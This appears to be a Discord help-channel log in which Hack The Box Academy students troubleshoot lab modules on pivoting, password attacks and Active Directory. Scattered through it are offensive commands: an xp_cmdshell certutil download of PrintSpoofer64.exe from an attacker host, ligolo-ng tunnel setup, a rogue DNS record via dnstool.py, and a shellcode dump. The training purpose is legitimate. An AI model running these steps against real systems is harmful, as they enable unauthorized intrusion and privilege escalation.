modules

[fathom pendant]

That's not the right port

[woeful topaz]

What do I do?

[hushed furnace]

Okay thanks, I am running a full scan now. I am definetly not on right track rn.

[fathom pendant]

137 is for netbios name service

[woeful topaz]

Does anyone have any idea about this?

[fathom pendant]

It helps to provide the module and section name

[woeful topaz]

Shells and Payloads, section name shellbasics

I disabled the AV and still the powershell is getting crashed whenver I put in the revshell script.

[rustic sage]

Does this place have a season 8 discussion?

[agile mountain]

Please does anybody know why the internal hosts of the password attack's skill assessment are refusing connection? Even the Nmap scans keep on returning nothing other than the ports are filtered!

[ember ibex]

silly question. On this module am I supposed to try to ssh into whats given in the example or what? i dont understand, my prehistoric brain aint regestering it.

[agile mountain]

Have you found it?

[wheat silo]

No i'm still looking

[agile mountain]

DM me so I can save you from the unnecessary stress!

[agile mountain]

Please anybody who can help with this one?

[fathom pendant]

filtered != closed

[fathom pendant]

the latest 2 active boxes have their own dedicated channels; as well as #boxes exists; you'll need to link your htb account followingthe instructions found in #welcome

[agile mountain]

Alright! Thanks!

[opal cape]

Hey im on the last question of the AEN- Web enumeration. I have my GET request to start socat shell, and my nc listener on attack hosts picks up connection but never connects. It eventually just times out on Burpsuit. Any suggestions?

[fathom pendant]

wdym by "never connects"? do you not get any output from attempting something like ls?

[opal cape]

it just stays on "listening on [any] 4444 ...
connect to [10.10.15.98] from (UNKNOWN) [10.129.229.147] 60678"

[fathom pendant]

also be careful of spoiling stuff from AEN [you haven't yet] but the module is one big walktrhough. If youwant to test your methodology/readiness for CPTS I suggest doing the remainder of the module blind

[fathom pendant]

yeah and in nc did you try running any commands?

[opal cape]

OMG lol

[fathom pendant]

[hushed furnace]

it's taking years to scan full UDP 🥲

[opal cape]

ok. I was waiting before. I even typed space like when you have to connect to powershell in metasploit and sometimes have to use spacebar to open shell. lol. Anywas thanks @fathom pendant

[fathom pendant]

yeah udp scans tend to take a lot longer since they don't do typical handshake stuff like tcp

[opal cape]

when you say "blind" you just mean not posting here right? blind still means i can use notes

[fathom pendant]

blind means not reading the questions or the module

just going until you reach the highest privileges in the domain

then returning and answering questions

[rustic sage]

A registry entry is made up of two pieces, a 'Key' and ' ' . What is the second piece?

apparently "value" isn't the answer

[wild oriole]

Hello guys, I'm doing "Exploiting Web Vulnerabilities in Thick-Client Applications" module
When running the command javac -cp fatty-client-new.jar fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java to compile the given file, it gives many errors related to the compilation process. I'm following the exercise, any suggestion?

[woeful topaz]

@fathom pendant I didn't got my problem solved, could you please do it

if you have any idea about this.

[rapid saffron]

Hello guys. could someone help me with some questions from the Password Attacks Skill Assessment lab?

[left lintel]

If you don’t figure it out give me a DM I’ll explain it

[wild oriole]

Sent

[earnest raven]

Hey I'm stuck on the exact same spot. Did you ever figure this out?

[snow spoke]

sure shoot me a pm

[trim pivot]

Yes, I had retrieved the wrong tickets—I was using the old session instead of the new one. Just make sure you're using the correct session to get the right ticket

[tired flax]

Hello there, someone out there did the Skill Assessment of Blind SQL Injection module?
Which DB i need to get the tables?
Is a time based SQLI that is taking so much time

[hushed furnace]

it's been like 2 hours since I started my UDP scan for 1-10000 ports.

😭

Section: Firewall and IDS/IPS Evasion - Hard Lab

[olive peak]

Can I DM someone to get a second opinion for what I am doing wrong with AD enum skills assessment I

[urban ore]

Hi! I need help on where to start

I also need help for a protection thing for my laptop..Idk how to do that

[olive peak]

protection thing?

[hushed furnace]

Section: Firewall and IDS/IPS Evasion - Hard Lab

So I ran top 10000 UDP ports scan and found some ports, but I still dk what I am missing if 137 port isnt the right track.

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[cloud urchin]

@urban ore ^

[heady hare]

Hey Guys! I have been working hard in the Skill Assessment on the Password Attack module. I already got a foot on DMZ01, and I am connected to JUMP01. However, I have not been able to elevate privileges yet. Mimikatz does not work without that. Nothing usefull looking for passwords. Any suggestion? I appreciate that

[wary creek]

Does anyone know any good modules for Linux privilege escalation and AD pentest?!

[cloud urchin]

There are whole modules about linux privesc and AD.

[hushed furnace]

PS. I got the flag. Had a hard time at this. (Firewall and IDS/IPS Evasion - Hard Lab)

[heady hare]

Congratulations! @hushed furnace

I am working hard for that feeling too... I am really close

[plain summit]

I'm trying to use the other two ip addresses that come up (ens224 and docker0) and I'm not connecting to agent after entering the start command in ligolo-ng

ligolo-ng pivot doesn't work in the

AD Enumeration & Attacks - Skills Assessment Part II
``` machine?

[cloud urchin]

ligolo should work fine

[plain summit]

I used wget and placed agent into ssh and proxy in local machine. I ran the ```
sudo ip tuntap add user whoami mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert
./agent -connect localmachine:11601 -ignore-cert
Found lo/ens192 (ssh)/ens224/docker0 ips
sudo ip route add ens224 or docker0 ip (without the / part since it doesn't work) dev ligolo in different sessions
Ran the start command on either ens224 and docker0 (didn't connect after attempting to)

[cloud urchin]

Probably best to ask in #1024429874246590575 or maybe #general. Ligolo isn't covered in any of the modules.

[stuck hollow]

perhaps this help
https://medium.com/@redfanatic7/guide-to-pivoting-using-ligolo-ng-efd36b290f16

[urban ore]

Thank you! :)

[stuck hollow]

or this serie from our friend @gray yacht https://www.youtube.com/watch?v=de7IP_uZK6E&t=22s&ab_channel=r1ckyr3c0n

[hexed oyster]

Struggling with Web Services and API Attacks, when targeting a SOAP service, am I supposed to send requests to the wsdl or is there a better endpoint that I'm supposed to send it to?

[midnight solstice]

at the introduction to assembly module i found

00000000  71E6              jno 0xffffffffffffffe8
00000002  BB4850C031        mov ebx,0x31c05048
00000007  48                rex.w
00000008  4853              push rbx
0000000A  2144AF66          and [rdi+rbp*4+0x66],eax
0000000E  7E16              jng 0x26
00000010  1BB57A7C4623      sbb esi,[rbp+0x23467c7a]
00000016  A7                cmpsd
00000017  BB344D26BF        mov ebx,0xbf264d34
0000001C  BB48534C9A        mov ebx,0x9a4c5348
00000021  BB48534377        mov ebx,0x77435348
00000026  B64B              mov dh,0x4b
00000028  53                push rbx
00000029  1271E7            adc dh,[rcx-0x19]
0000002C  2036              and [rsi],dh
0000002E  63                db 0x63
0000002F  10D2              adc dl,dl
00000031  144D              adc al,0x4d
00000033  21444D2B          and [rbp+rcx*2+0x2b],eax
00000037  B480              mov ah,0x80
00000039  4C180C93          o64 sbb [rbx+rdx*4],r9b
0000003D  1482              adc al,0x82
0000003F  1448              adc al,0x48
00000041  3481              xor al,0x81
00000043  F3148E            rep adc al,0x8e
00000046  7894              js 0xffffffffffffffdc
00000048  8B0C03            mov ecx,[rbx+rax]
0000004B  148F              adc al,0x8f
0000004D  7E20              jng 0x6f
0000004F  8C74801B          mov [rax+rax*4+0x1b],segr6
00000053  740F              jz 0x64
00000055  F31480            rep adc al,0x80
00000058  1D23148E68        sbb eax,0x688e1423
0000005D  94                xchg eax,esp
0000005E  8F                db 0x8f
0000005F  63                db 0x63
00000060  148C              adc al,0x8c
00000062  031480            add edx,[rax+rax*4]
00000065  50                push rax
00000066  F1                int1
00000067  EB20              jmp short 0x89
00000069  50                push rax
0000006A  FFF3              push rbx
0000006C  1483              adc al,0x83
0000006E  CC                int3
0000006F  08                db 0x08

what do i do next

[hexed oyster]

Anyone completed the 'Web Services and API Attacks' module that could spare a few minutes to help me understand this better?

[midnight solstice]

where is the flag located? does it just print the flag or does it save a file

[plain summit]

I have my ligolo-ng stuff saved in another doc for a different time. I'll figure it out later.

[vague lintel]

i'd just like objdump or binwalk that tbh

[plain summit]

In

AD Enumeration & Attacks - Skills Assessment Part II
 Submit the contents of the C:\flag.txt file on MS01.

Did you use x11 forwarding for xrdp?

[midnight solstice]

yeah but they didnt print any stuff

idk how im supposed to approach it, i tried online assemblers and stuff

but i still cant find the flag

[vague lintel]

sorry was trying to look up that jno instr

[rough comet]

can someone please help me with this error? The port is open, as per nmap. And I already added the entries on /etc/hosts
user@kali:~/Documents/src/krbrelayx$ python dnstool.py -u INLANEFREIGHT.LOCAL\\carole.rosa -p xxxxxxxx -r roguecomputer.INLANEFREIGHT.LOCAL -d 10.10.15.89 --action add 10.129.1.207 [-] Connecting to host... [-] Binding to host Traceback (most recent call last): File "/home/user/Documents/src/krbrelayx/dnstool.py", line 615, in <module> main() File "/home/user/Documents/src/krbrelayx/dnstool.py", line 431, in main if not c.bind(): ^^^^^^^^ File "/usr/lib/python3/dist-packages/ldap3/core/connection.py", line 589, in bind self.open(read_server_info=False) File "/usr/lib/python3/dist-packages/ldap3/strategy/sync.py", line 57, in open BaseStrategy.open(self, reset_usage, read_server_info) File "/usr/lib/python3/dist-packages/ldap3/strategy/base.py", line 146, in open raise exception_history[0][0] ldap3.core.exceptions.LDAPSocketOpenError: socket connection error while opening: [Errno 113] No route to host

Hi. I am facing exact same error. Can I please DM you? I followed your steps but the error stil persists .

[cloud urchin]

The error says no route to host. Network problem.

[rough comet]

I know, but there is a route

is pingable

And I added the entries into /etc/hosts

I also tried adding DC01, still same error

not sure if it is an issue with the VPN and HTB platform cannot reach back to my tun0

[rough comet]

can you please tell me where the problem is or what to do?

[cloud urchin]

double check all network configs to make sure you can reach the target, hostname, etc

[rough comet]

I think I am not using the right IPs. Can you please clarify the following? the "-d" is to specify my own Kali IP and the "--action add" is to specify the Domain Controller's IP?

Or....
The "-d" is for the DC's IP and the 2nd IP, is tun0 or Kali?

[cloud urchin]

sorry cant check rn busy. all i know is the error said no route to host so something related to network

[shadow phoenix]

Hello everyone. I'm stuck on the question in the "Race Conditions" section of the "Whitebox Attacks" module. I believe the vulnerability is in the "buy_product" function, since by running the application locally, I've managed to make two simultaneous requests using the last-byte synchronization technique, successfully purchasing two $10 gift cards with a $10 balance. However, I haven't been successful in exploiting the vulnerability in the target web application I've been given. Can someone please give me a clue?

[wooden seal]

what commands u guys usually use (for nmap) to scan all ports (faster)?
coz my nmap taking 40 mins to scan all ports of AEN first target : )
command used : nmap ip -p- -T4 -oA allports -n

[rough comet]

nmap -p- -Pn -n --open [ip]

Once I get the open ports.... I dig deeper with -sCV

I use this bash script to make the 2nd part faster: https://gist.github.com/anibalardid/5e05b6472feb3d31116729dc24e6d3e2

[rough comet]

found the problem .... HTB command syntax is actually old. The flags are now different.

[broken star]

So I am having trouble with the subdomain bruteforcing module, I keep getting flagged by google and am getting an error when trying to use dnsenum.

[cloud urchin]

best to say which module and section you're on. google shouldn't play a role at all.

[plain summit]

Gonna sleep but I was wondering if anyone can point out which IP do I use for sudo ip route add <ip here> dev ligolo

[plain summit]

#1399214044153511986 message

[broken star]

@cloud urchin

Scraping inlanefreight.com subdomains from Google:

---

Error GETing http://www.google.com/sorry/index?continue=http://www.google.com/search%3Fhl%3Den%26source%3Dhp%26q%3D-www%2Bsite%253Ainlanefreight.com%26iflsig%3DAOw8s4IAAAAAaIcSZAoXfhz4WvXrqnSnXOZGLH0oJcfB%26gbv%3D1&hl=en&q=EgSVZvJnGNWInMQGIjCIJ_uiJYh5EnQHOoasMD0tlckSxixnJu7XSri1o4tv97yFRuHKR7TZAl9tqizuljAyAnJSWgFD: Too Many Requests at /usr/bin/dnsenum line 969.

information gathering - web edition / subdomain bruteforcing

[cloud urchin]

yeah you're not doing something right. you're not supposed to brute force google.

use the command like it's shown in the section

[broken star]

dnsenum --enum inlanefreight.com -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt

[cloud urchin]

weird yeah mine doesn't do that maybe make sure it's up to date or something idk. i have 1.3.1

[broken star]

This is the command I am using, I have sliver and am seeing that It does show that there are google results as well in the solution

Im 1.3.1 as well

[cloud urchin]

yeah no idea. mine just says google probably blocking me

and it moves on

[broken star]

hmm

Mine keeps throwing an error, I'm using a VPN on to of OpenVPN might that do it?

[acoustic owl]

Are you sure you mean .com and not .htb?

[acoustic owl]

You are currently hammering against your resolver, which presumably limits the number of requests

[midnight solstice]

Executing the shellcode just gives me a shell that instantly crashes or no shell at all

[broken star]

So inlanefreight.htb not .com?

[acoustic owl]

Take a look at the task. It tells you which domain you should attack

[broken star]

Ya idk I keep getting an error, just read the github and apprently there was an issue with google scraping in 1.2.2

[acoustic owl]

Really pay attention to the domain you are attacking. If I remember correctly, every task with DNS was with a .htb domain and not .com

[broken star]

I'm 99% its .com

"Using the known subdomains for inlanefreight.com (www, ns1, ns2, ns3, blog, support, customer), find any missing subdomains by brute-forcing possible domain names. Provide your answer with the complete subdomain, e.g., www.inlanefreight.com."

From the solution -

"Students need to use the dnsenum tool, supplying the subdomains-top1million-20000.txt wordlist from SecLists to bruteforce the subdomains of inlanefreight.com:"

[acoustic owl]

If it says so in the task, then that is correct. However, make sure that your resolver does not limit the number of requests.

[wooden seal]

thanks its pretty faster than my command : D

[vast shore]

why cant i type @ general

[autumn pilot]

Read #rules and then #welcome

[median kestrel]

Did you ever figure this out? I can help if needed

Just DM me if you need help still

[shy pike]

Hey @everyone, having trouble getting my Kali Linux to connect to Wi-Fi. My ping ## command shows 'Destination Host Unreachable' and 100% packet loss. Any ideas on what to check next? I'm running Kali in VMware. please help

[last torrent]

Hey everyone! I have some doubts with Mass IDOR Enumeration module in Web Attacks. The url is supposed to show the uid parameters? Because is not my case, and I tried using the script described in the module and is not giving any results for the 20 first users.

[flint folio]

Hey I just joined but I need sum help

[wild moss]

Hi everyone, I'm new here ...an aspiring pen tester and CEH...your knowledge to go through the journey is really needed here

[waxen totem]

Hi please just ask your question instead of just saying I need help that doesn't really narrow it down.

@shy pike @flint folio @wild moss this channel is for #modules related questions only please read #rules and follow #welcome to gain access to other channels such as #general

[wild moss]

Thanks

[shy pike]

Thanks

[pure vapor]

need help in android static analysis module

under the subsection reversing hybrid apps
got the needed key but the unable to login, please help

[eager spindle]

Are you connected to a VPN?

[shy pike]

No

[eager spindle]

The problem lies here

You need to download the VPN first, then connect to the VPN in Kali.

[elfin dome]

Hi all, seems I am stuck at this question in the "Android Fundamentals" module

Create an AVD for 'Pixel 3a API 34 Google APIs' using Android Studio. What is the build number of the device? (Format: build_number, Example: build_number-test)

I have created the AVD as specified and started it, it's working fine, I can obtained the information needed from the settings application, but I dont get it correct on submission, any help would be of importance to me, thank you

[pure vapor]

i got debug key but unable to use it in curl, it says invalid key

[shy pike]

Downloading the VPN is not the problem, The huge problem is that I can not do anything in Kali linux, even opening/searching the HTB course

[eager spindle]

No network?

[shy pike]

yes, no network

I mean my computer is connected to the Wi-Fi, its just the Machine that is not

[river grove]

Could someone help me with last part of Intro to Whitebox Pentesting? I don't understand where I get the flag after submitting to /patch

[eager spindle]

You can ask chatgpt, maybe it will give a better answer

[pure vapor]

not fully completed but which section you need help bro

[shy pike]

Chatgpt failed me

[digital pendant]

anyone having issues with xfreerdp today on htb vpn?

I can't connect to the hosts at all, just hangs on black. 15 minutes I've been waiting since deploying the target & ive redeployed this is the second set of 15 minutes of waiting.

Any ideas?

I'm on Credentialed Enumeration - from Windows of Active Directory Enumeration & Attacks module.

Seems the lab from task just before this also not allowing the connection through:

Internal Password Spraying - From Windows

seems its about 2-3 minutes of waiting on black now and get this message in error logs.

[waxen totem]

Press enter

[digital pendant]

Really that simple? 😄 thanks man

[waxen totem]

if that doesn't work swap to rdesktop

[digital pendant]

Nope it totally worked, gonna go facepalm why I waited half an hour before asking

[noble sand]

⬆️ Please I need help, I've been stuck on this question for almost 4 days.

[proven plinth]

I suggest you check your VM's network settings in VMWare/Virtualbox, whichever program you are using. You may also want to check if the routes are correct on your Kali machine and if the interfaces are up etc. Doing a traceroute may also give you a hint on where the problem is occurring

[tribal plinth]

Hey, please DM to not spoil for others

[charred night]

Any one know how to solve file transfer module i stuck at second question where i need to upload a zip file in target machine but the credentials are incorrect

[glacial lava]

Good Morning All, jumping in here as I start the Exploit stage of AEN. Wish me luck!

[digital pendant]

Gooodluck Frost!

[river grove]

Could really use a hint why I dont get the flag in Intro to Whitebox Pentesting skills assessment 2 when my code doesnt have any injection vulnerabillities. To anyone getting stuck here, you need to write the throws OUTSIDE of the generatePassword function.

[glacial lava]

@digital pendant THANKS! I have been stuck in this spot for like a week, so really hoping to tear past it

[digital pendant]

You'll smash it

[flint palm]

Guys hello Has anyone who is here now done WPA2 attacks module?

I can't run air-hammer

[glacial lava]

Anyone have advice on module boxes, especially ones with pivoting and such, and how to make them load faster? I am port forwarding to see the web application but its not fully loading so I can't access a page

[crude cobalt]

Any one can help me in Sherlock hard lab streamer

[waxen totem]

#sherlocks, if you don't have access read and follow #welcome

[rain garnet]

Hey folks, how you all doin.
Just want to get answer quickly. On htb question; What RFC specifies private ip ranges ?
I believe i entered correct answer but for some reason htb saying incorrect answer. It pissed me off. Thanks for your answer in advanced.

[waxen totem]

Could you please also include the module and section that this question is from, just so people can easily help you if they've done the module
-# I have not done that module so I am unable to provide an answer, please be patient and someone will help you if/when they can

[rain garnet]

Module name Network foundation section Network address translation

[chrome vortex]

Who in here can hack ?

[rain garnet]

Wtf

[glacial lava]

Not me thats for sure

[haughty fiber]

attacking common services found the credentials tried to login to phpmyadmin but nothing is on the webpage

[rain garnet]

Go find your mama

[chrome vortex]

🤨

[waxen totem]

why what for?

[tranquil sluice]

Hey, can anyone give help with a sanity check for the skill assessment in the TLS attack module? I found the attack vector but keep getting errors

[chrome vortex]

My account

[storm elk]

@chrome vortex we can't help you

this is not a hacker for hire

[chrome vortex]

Well damn

[storm elk]

contact support

[rain garnet]

Htb is likely robbing us folks. Need to laid down the money before it lead you to the answer.

[storm elk]

dont make false statements @rain garnet

[haughty fiber]

can any1 help

[storm elk]

what section is this

[haughty fiber]

easy skill assessment

[storm elk]

what module/section?

[storm elk]

send me a dm with everything you got

[rain garnet]

Yes, it's true. I've got proof. The step-by-step solutions toggle is disabled, and when you try to turn it on, it won't let you. There's also that circle with the exclamation mark. If you click it, it says "Click here for an answer," but you gotta pay for a subscription first. Seriously? Mtf

[storm elk]

Well, yes, solutions are only included with yearly plans

You can always ask for help here

[rain garnet]

Well F that.. i already subscribed before. I dont wanna waste my money.

[storm elk]

But if you don't specify which section and module you're on - not many people will go looking themselves

[haughty fiber]

sent a friedn request

[storm elk]

accepted @haughty fiber

[rain garnet]

This module and section @storm elk

[storm elk]

Have you tried copy/pasting the answer as is mentioned on the page?

This works fine for me

RFC xxxx

[uncut zenith]

yo so i am on the era machine right now i found the user.txt flag already but the website dosent accept it who can help me

[rain garnet]

Ill give that i try.

[uncut zenith]

??

[storm elk]

#1398707252629733436 - if yo ucant access this channel >> read and follow #welcome

and be patient @uncut zenith

[rain garnet]

Wtf xxxx is your answer, do you understand the question?

[storm elk]

xxxx is not my answer

[uncut zenith]

okay

[storm elk]

Try to make sure there are no spaces in front or after

Issue resolved 🙂

[prisma wing]

for https://academy.hackthebox.com/module/20/section/226, i cracked the .cap file but it's not accepting the password as the answer. What do i enter? The question is 'Perform MIC cracking using the attached .cap file.', as you can see, it does not specifically ask for anything, just says to do mic cracking.

[acoustic river]

Anyone have WiFi material

[safe hornet]

When it says a module will take x days in the academy, how many hours is it talking about? 12, 24?

How many hours in a HTBA day?

[waxen totem]

8 hour days iirc

[safe hornet]

Sounds right. Had me panicking about the footprinting module taking "2 days"

[rancid holly]

Hi wanted to check one thing with the you all regarding windows evasion techniques module

I'm not sure why the flag is not being generated after placing properly made executable as mentioned in the question in the specified folder

When I read logs I'm seeing message like
Checking
Filename - ok - undetected by Microsoft Defender
Not sure if the check passed still why the flag is not being generated

[merry stone]

hey I am doing web attacks skill assessment and the target is very slow, it takes nearly 40_50 seconds to refresh the page and my internet is not bad

[tawdry reef]

Good morning everyone! 🙂

I'm doing the skill assessment for the Network Foundations module and I'm trying to login to the FTP service of my target machine via netcat
I ran the command "nc (target IP) 21" and got the welcome banner for the service like it says I should
The issue I'm having is that when I enter "USER anonymous" as directed I get the response "451 The parameter is incorrect." instead of "331 Anonymous access allowed"

Not sure if I'm entering it wrong but it looks like I followed the directions. Any ideas?

[eager spindle]

Give me the URL

[tawdry reef]

10.129.233.197

[eager spindle]

Which module

[tawdry reef]

Network Foundations

[supple dragon]

you can DM me if you still need help with this

[eager spindle]

USER anonymous[Ctrl+V][Enter][Enter]

[tawdry reef]

I tried that and it didn't work 😅 it wont let me hit enter twice without returning the error message. It only lets me hit enter once and then I get the "Parameter si incorrect" message

[eager spindle]

Just like this

[tawdry reef]

so I put an ^M after anonymous before I hit enter?

[eager spindle]

^M should be typed using [Ctrl+V][Enter][Enter]

[tawdry reef]

Ohhhhhhhhhhhhhhh I misunderstood what the [Ctrl+V][Enter][Enter] was meant to do. I thought it was Ctrl+V to paste the user info and then try to hit enter twice lol I'm an idiot 😅

Thank you for the help!

[eager spindle]

No big deal — hitting a few bumps is just part of growing. We all have our “I’m such an idiot” moments, trust me.

[tawdry reef]

That's true haha I'm brand new to all of this but I'm loving every second of it

[plain summit]

In AD Enumeration & Attacks - Skills Assessment Part II
Am I able to access 172.16.7.50 xfreerdp from 172.16.7.240/23 ips? If so, I am unable to add the route for pivot using the sudo ip route add 172.16.7.0/23 dev ligolo with a Error: Invalid prefix for given prefix length. message but for some reason docker sudo ip route 172.17.0.0/16 dev ligolo but I am not able to xfreerdp to 172.16.7.50 from that pivot

[gray yacht]

I don't mind helping to troubleshoot this, you can DM if you'd like.

[plain summit]

They fixed it!

[south marten]

hello, need help in AD enumeration and attacks

[summer zephyr]

Hi mate, any chance you can tell me how you fixed the problem? I seem to be having the same issue as you mention and I can't escalate past user2 or get past the password request for the ssh. I must be doing something wrong but I have no idea what.

[floral fulcrum]

hi, could i get a nudge for windows lateral movement skills assesment on moving laterally to WSUS?
thanks!

[gray yacht]

I'd look over that document you likely identified earlier and see if there is anything specific about that host. Then it's all about whatever creds you have.

[floral fulcrum]

managed to get it to work albeit laggy, was just missing something stupid thanks!

[rustic sage]

How many functions can be exploited with the "nano" binary based on GTFObins?
https://academy.hackthebox.com/module/296/section/3398

I ran linpeas, what do i do?

nvm got it

[jolly elm]

Please pass on my thanks to whoever authored "AI Red Teaming" course. Its wonderfully written and very clearly explained the hard to understand and visualize mathematical terms

I would recommend this certification to be aligned with Mitre Atlas framework (https://atlas.mitre.org/matrices/ATLAS) and have modules associated with TTPs from this framework. This would be real AI red teaming

[cloud urchin]

Probably best to submit feedback via /feedback

[jolly elm]

thanks

[charred night]

How to move a file from host os to target os via rdp

In file transfer module

[worn sun]

mount the drive

[storm elk]

Copy/paste?

xfreerdp can do this

[charred night]

Copy paste does not work

[worn sun]

how to copy paste using xfreerdp?

[jolly elm]

rdp also has the option to enable "share folder" and then copy paste

[storm elk]

Then mounting a drive could work

[charred night]

Ok

[worn sun]

yes that should work def, check the /drive switch for the xfreerdp command

[charred night]

In rdp can we mount th drive

[flint hearth]

hi does anyone know how to do this question; Try assembling and debugging the above code, and note how "call" and "ret" store and retrieve "rip" on the stack. What is the address at the top of the stack after entering "Exit"? (6-digit hex 0xaddress, without zeroes) Intro to Assembly Language module am stuck

[rustic sage]

did they mistake this with "linpeas.sh" ?
https://academy.hackthebox.com/module/296/section/3399

[storm elk]

Might wanna report this to #1234357888114364508 , I do think you’re right

[flint hearth]

nvm

[hexed oyster]

Struggling with "Web Services and API Attacks", trying to form a valid Login Request and I keep getting this error:

This is the script I'm using: `PAYLOAD='<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/">soap:Body<Login xmlns="http://tempuri.org/"><username>test</username><password>test</password></Login></soap:Body></soap:Envelope>'

HEADER="SOAPAction: Login"

echo $HEADER;

curl -X POST
-d $PAYLOAD
-H $HEADER
"http://:3002$1/wsdl" `

What obvious thing am I doing wrong?

[rustic sage]

Yeah cause i been searching for that file for an hour now

and hasnt been anywhere

[muted blade]

hey, for "password attacks" - "As this user, search through the additional shares they have access to and identify the password of a domain administrator. What is it?"
i can't seem to find the password, tried multiple tools, even mounted the shares and used grep, with a lot of filters
can i get a nudge on this please?

[fathom pendant]

Nxc can help with the pattern option

[muted blade]

the problem is not the tools, but the filter itself

[fathom pendant]

I don't recall too much difficulty

[muted blade]

i searched for all combinations of "password", "pass", "passwd", ..., domain name, user, admin, domain etc

i found like 7 passwords but they don't work

idk what to search for anymore, mind at least telling me the share? i tried the ones the new user has access to

[fathom pendant]

Sec ill see what pattern I used

As a note you authenticated with the user:pass from the first q?

[muted blade]

yup

[fathom pendant]

did you capitalize 'admin'?

[muted blade]

yeah i even mounted the shares and used grep -ri

was it "Admin"? maybe i missed it

[fathom pendant]

or the full word

[muted blade]

oh okay will try it out, thank you so much

[elder matrix]

hi! i rebuilt my kali linux box and i can not use klist, it says it's not installed. What app can i install to make it work again?

i need it for pass the certificate

[muted blade]

krb5-user

[fathom pendant]

^

[elder matrix]

nice! thanks

[fathom pendant]

always walk backwards from what you need;

• need klist
• what does klist do
• what might be required that klist does
• (GOOGLE)

[teal arrow]

Just finished the password attacks module, what a grind 😅 learned a lot!

[muted blade]

unfortunately it didn't find anything with Admin :/
is it in one of the shares the previous user did not have access to? (Finance, Sales, Marketing)

[fathom pendant]

try the full word

[muted blade]

i mean if it can't find Admin it won't find Administrator as well

do you remember which share it was in?

[fathom pendant]

@muted blade the password doesn't necessarily "need to work" just paste it into the answer field

make sure no extra spaces

[muted blade]

yeah i was referring to the answer field, it doesn't work

ah forgot a symbol

yeah it worked now, thanks

[plain summit]

Having trouble with:

AD Enumeration & Attacks - Skills Assessment Part II
Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host.

When running xp_cmdshell certutil -urlcache -split -f "http://172.16.7.240:8000/PrintSpoofer64.exe" c:\windows\temp\PrintSpoofer64.exe output I either get ```CertUtil: -URLCache command FAILED: 0x80190194 (-2145844844 HTTP_E_STATUS_NOT_FOUND)

CertUtil: Not found (404). orCertUtil: -URLCache command FAILED: 0x80072efd (WinHttp: 12029 ERROR_WINHTTP_CANNOT_CONNECT)

CertUtil: A connection with the server could not be established``` Do I need to leave my ligolo pivot to solve this problem?

[opal cape]

hey quick question, if I have a reverse shell meterpreter session, why would i need to use proxychains?

[worn sun]

ur question is not clear

u would use a proxychain if you cannot access the internal network

[opal cape]

ok to clarify if i already have root ssh access and ive established reverse shell on my attack host, why would i want to use proxychains? cant i just do everything i would with proxychaines in my metasploit reverse shell meterpreter session?

[fathom pendant]

what proxychains does is it chains the connections of the proxy server/clients

[runic rampart]

Expected. If you look at the hybrid code one more time, you're missing one piece of information when constructing the http request
/endpoint?var=val is GET;

[fathom pendant]

proxychains is basically "hey i have access, but i'd like to dive deeper"

[worn sun]

u can't nmap for example

meterpreter is limited

[fathom pendant]

though ligolo-ng is better overall as a pivoting tool over anything using proxychains

[opal cape]

oh i thout there would have been a scanner on metasploit i can use if i background the meterpreter session

[fathom pendant]

i generally don't use meterpreter all too much tbh so i'm not all too familiar with its routing

[worn sun]

plus maybe u have tools on ur attack host that u want to execute on the target machine, and that would only work with a pivot

[opal cape]

ahh okay

[fathom pendant]

or finding/compiling a compatible binary to drop on the host/target

[worn sun]

i mean yeah but it's a bit of a workaround and nmap offers more flexability

[worn sun]

yes exactly

[opal cape]

yeah because i know i can do a host discovery through metasploit, but i guess you are right maybe an nmap provides more information

i ask because i really havent used metasploit enough but from my expereince and understanding, it pretty can do most of what other tools can as an all in-one. Can you give me examples of common tools/exploits that metasploit cant do ?

like common linux tools that you use locally that cannot be replicated in metasploit? which ones?

[worn sun]

throughout ur studying ull have to download tens if not hundreds of tools from github or the internal in general, these tools will not be found in msfconsole

plus as an advice, u should always know that learning the manual steps is far more beneficial than just relying on automation

at least in the learning process

[opal cape]

for sure

[worn sun]

yes metasploit is very beneficial and cuts time but it is limited it doesn't have every tool in the world

[shadow phoenix]

Hi everyone, I'm stuck in the first phase of the "Skills Assessment" section of the "WhiteBox Attacks" module, as I've tried to bypass authentication using "Type Juggling" and the username "Larry" with several wordlists, but I haven't been successful. Could someone please give me a clue?

[limpid siren]

Hello can someone assist me

Im at https://academy.hackthebox.com/module/58/section/526 I found the first flag even, but when I enter in the little textbox it says it's incorrect. Idek what I am doing wrong cus everything seems right i got the flag but it shows it's wrong

[rustic sage]

https://academy.hackthebox.com/module/296/section/3401

the hostname in the crackmap output isnt the hostname apparently

[spiral yarrow]

I need help in the skill assessment "Injection Attacks" Module

[wintry veldt]

Hey can I dm someone that has solved the advanced xss module - skill assessment? I am able to get the data from the api

[broken perch]

Why the hell are there two different kinds of subscriptions, one for academy and one for boxes? I paid for the academy one and i would expect to be allowed to use pwnbox with unlimited time for boxes too

[heavy torrent]

Two different products

1 single company. That's why.

[broken perch]

Well atleast i would expect unlimited pwnbox in both for that price

[heavy torrent]

why

[broken perch]

its expensive, and if i already get it i dont really see why it should be seperated

[heavy torrent]

If you are a student, Academy is 8 dollars

[broken perch]

well im not

[heavy torrent]

I don't find that expensive. Having said that. Expensive is also relative. The concept changes depending of which country you are and what do you do.

Anyway, this is the Module channel. I suggest talking about that in general maybe?

[broken perch]

cant talk in general

[cerulean bramble]

Hey everyone, I'm having a hard time with the Applications of AI in Infosec skills assessment. I figure using the multinomial naive bayes for text classification, like with the spam classifier, is the way to go.

I'm at the part where I'm trying to find the optimal parameter for classification and I'm getting an error that looks like it has to do with the test variables.

Can anyone help me out with this?

[broken perch]

Either way, what pisses me off is that even with unlimited pwnbox in academy, if i use it once in academy and then go over to do a box, i have used my pwnbox time for the day even though i did not use it in the boxes section

[hardy hamlet]

Hello ppl this is krypton , i am a newbie looking for some help

I start networking fundamentals and it is going all over me head, what should i do? any suggestions for other good resources or should i just skip it and do another module?

[opal cape]

hey can anyone tell me where to get static nmap version?

[broken perch]

